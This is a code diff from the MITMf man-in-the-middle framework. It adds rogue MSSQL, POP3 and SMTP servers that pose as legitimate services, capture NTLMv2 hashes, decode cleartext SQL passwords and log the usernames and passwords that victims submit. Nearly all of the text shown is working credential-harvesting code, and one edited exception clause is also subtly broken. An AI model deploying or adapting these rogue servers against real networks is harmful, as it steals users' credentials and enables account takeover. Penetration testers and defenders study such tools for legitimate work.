UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()

View file

@ -0,0 +1,63 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.common import *
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
mitmf_logger = logging.getLogger("mitmf")
class POP3Server():
def start(self):
try:
mitmf_logger.debug("[POP3Server] online")
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
t = threading.Thread(name="POP3Server", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class POPOKPacket(Packet):
fields = OrderedDict([
("Code", "+OK"),
("CRLF", "\r\n"),
])
#POP3 server class.
class POP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(POPOKPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
mitmf_logger.info('[+]POP3 User: %s'%(User))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
else :
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
mitmf_logger.error("[POP3Server] Error handling request: {}".format(e))

View file

@ -16,21 +16,8 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#SMTP Greating class
class SMTPGreating(Packet):

View file

@ -0,0 +1,62 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from base64 import b64decode
from SMTPPackets import *
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class SMTPServer():
def serve_thread_tcp(self, port):
try:
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
server.serve_forever()
except Exception as e:
mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
#Function name self-explanatory
def start(self):
mitmf_logger.debug("[SMTPServer] online")
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
for t in [t1, t2]:
t.setDaemon(True)
t.start()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#ESMTP server class.
class ESMTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(SMTPGreating()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
Username = b64decode(data[:len(data)-2])
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
Password = b64decode(data[:len(data)-2])
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
except Exception as e:
mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))

View file

@ -103,7 +103,7 @@ class ProxyPlugins:
except KeyError as e:
pass
except Exception as e:
#This is needed because errors in hooked functions won't raise an Exception + Tracback (which can be infuriating)
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function")
traceback.print_exc()

View file

@ -98,7 +98,7 @@ class ServerConnection(HTTPClient):
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
if len(postdata) > 0:
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
except UnicodeDecodeError:
except UnicodeDecodeError and UnicodeEncodeError:
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
pass